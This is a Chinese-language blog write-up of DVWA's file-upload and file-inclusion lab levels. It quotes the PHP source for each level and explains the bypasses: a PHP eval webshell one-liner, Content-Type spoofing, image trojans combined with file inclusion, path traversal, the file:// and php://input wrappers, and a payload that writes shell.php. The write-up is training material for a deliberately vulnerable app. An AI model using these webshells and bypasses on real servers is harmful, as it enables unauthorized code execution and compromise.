DVWA-文件上传与文件包含

一,low

1,代码分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

从以上代码可以看出并没有做任何限制,先用最简单的PHP一句话代码试下:

<?php @eval($_POST[777])?>

使用中国蚁剑进行连接

 

扩展:

使用中国蚁剑连接出现以下情况是路径地址错误

 

出现”返回数据为空“,是代码有错误;

basename()函数:返回带有文件扩展名的文件名部分。例如:/xx/test.php,返回test.php

二,medium

代码分析:

继续上传yjh.php,使用BP进行抓包,更改文件类型

扩展:

[$_FILES’userfile’][‘name’]

客户端机器文件的原名称。

[$_FILES’userfile’][‘type’]

文件的 MIME 类型

[$_FILES’userfile’][‘size’]

已上传文件的大小,单位为字节。

[$_FILES’userfile’][‘tmp_name’]

文件被上传后在服务端储存的临时文件名

[$_FILES’userfile’][‘error’]

和该文件上传相关的错误代码。此项目是在PHP 4.2.0 版本中增加的。

UPLOAD_ERR_OK

其值为 0,没有错误发生,文件上传成功。

UPLOAD_ERR_INI_SIZE

其值为 1,上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。

UPLOAD_ERR_FORM_SIZE

其值为 2,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。

UPLOAD_ERR_PARTIAL

其值为 3,文件只有部分被上传。

UPLOAD_ERR_NO_FILE

其值为 4,没有文件被上传。

UPLOAD_ERR_NO_TMP_DIR

其值为 6,找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。

UPLOAD_ERR_CANT_WRITE

其值为 7,文件写入失败。PHP 5.1.0 引进。

这里对上传的文件类型进行了判断,如果不是jpeg跟png类型的文件则无法上传。

利用
服务端这里判断文件的类型是通过$_FILES["file"]["type"]来判断的。

而$_FILES["file"]["type"]是客户端请求数据包中的Content-Type的值。所以可以通过抓包工具修改Content-Type来绕过服务端检测

三,hight

代码分析:

 

上传图片木马 ,制作图片木马

 

 图片木马没有办法直接利用,需要配合其他漏洞。 此时可以结合文件包含漏洞获取webshell。

 使用蚁剑添加cookie头才能成功连上一句话木马。

(不添加的话,测试连接时会出现返回数据为空的警告。至于为什么前面两关不用添加就能连接一句话木马,应该是因为前两关上传的文件不需要登录就可以访问,但存在文件包含漏洞的这个文件必须要登录访问)

 

 

四,impossible

代码分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

 

分析
**uniqid()**返回一个当前时间微秒计的唯一字符串ID。

ini_get():获取一个配置选项的值。

php.ini中upload_tmp_dir的值为上传文件的临时目录。

sys_get_temp_dir():返回用于临时文件的目录。

该三元运算符的意思是:确定临时上传文件的目录。

然后对上传文件的后缀名进行了判断,也使用了getimagesize函数进行判断。

imagecreatefromjpeg(filename):创建一个新图像资源。filename为图像路径。成功后返回图象资源,失败后返回 FALSE

imagejpeg(image, filename, quality):用image图像资源创建jpeg图像。

image:图像资源,filename:文件保存的路径,quality:图像质量(0:最差-100:最好)

**imagedestroy()😗*销毁图像资源

然后重命名文件。

getcwd:取得当前工作目录

unlink:删除文件

利用
文件名有md5加密,且图片为重新创建的,图片木马无法成功,无漏洞可利用。

 

 文件包含

一,LOW

代码分析:

 直接对传入的page参数进行了包含,未作任何过滤。

点击

 构造错误url,报错出路径:

 构造url(绝对路径):成功读取服务器的php.ini文件

 构造url(相对路径)

二,Medium

 代码分析:

 

不能使用远程文件包含,可以使用绝对路径来绕过

 使用双写”..././“也不行,可以使用..\..\..\..\..\

三,Hight

代码分析:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

其中fnmatch() 函数根据指定的模式来匹配文件名或字符串,此处是使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。此时就可以使用file://伪协议来欺骗服务器了。

 扩展:

1,

封装协议
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流

2,包含图片马写shell

条件:
确定文件包含漏洞存在
菜刀不能直接连接
<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>

3,读取PHP文件源码

创建动态包含函数

 

 

 

4,执行PHP命令

利用条件:
利用 php://input 执行 PHP 命令。
远程文件包含开启。

 

 

 

一开始输入< ?php phpinfo();?>可以正常显示,但是已输入php命令一直没有回应,后来查到是远程文件包含没打开,在php.ini中找到allow_url_fopen = On/Off allow_url_include = On/Off改成On,并重启phpstudy,再次实验就可以了。

四,Impossible

代码分析:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

  • 2
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值